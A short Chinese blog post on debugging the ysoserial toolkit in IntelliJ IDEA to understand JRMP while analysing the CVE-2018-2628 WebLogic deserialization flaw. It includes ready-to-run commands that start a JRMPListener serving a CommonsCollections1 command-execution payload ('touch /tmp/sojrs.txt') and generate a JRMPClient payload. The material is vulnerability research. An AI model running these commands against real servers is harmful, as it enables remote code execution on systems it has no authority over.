欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ysoserial 动态调试

程序员文章站 2022-03-24 14:15:18
...

前言

在尝试对cve-2018-2628反序列化漏洞做分析的时候,发现一个比较重要的概念是JRMP,而在ysoserial中已经实现了JRMP的客户端和服务端,所以想可以直接进行动态调试一下,大概了解下JRMP的机制,下面简单讲一下ysoserial的调试方法

调试步骤:

Cve-2018-2628需要开启JRMPListener以及JRMPClient,这里我以调试JRMPClient为例,参照前文的复现漏洞文章,查看其python的源码,可知其命令为

java -jar ./ysoserial-0.0.5-all.jar JRMPClient 192.168.96.111:1099

ysoserial 动态调试

下载源码,使用idea导入ysoserial包,会自动下载相关依赖
ysoserial 动态调试

这里注意,开启JRMPListener的命令为

java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/sojrs.txt"

而启动JRMPClient为

java -jar ./ysoserial-0.0.5-all.jar JRMPClient 192.168.96.111:1099

表示JRMPListener在exploit相关目录
而JRMPClient在payload目录,这里注意下,因为在exploit目录同时存在JRMPListener和JRMPClient文件,我们调试是对payload目录下的进行调试
ysoserial 动态调试

然后配置JRMPClient参数为JRMPClient 192.168.96.111:1099
ysoserial 动态调试
现在debug,就能正常断点,进行动态调试了,可以看到,我们的参数已经传入成功
ysoserial 动态调试

参考链接

ysoserial调试

相关标签: 漏洞复现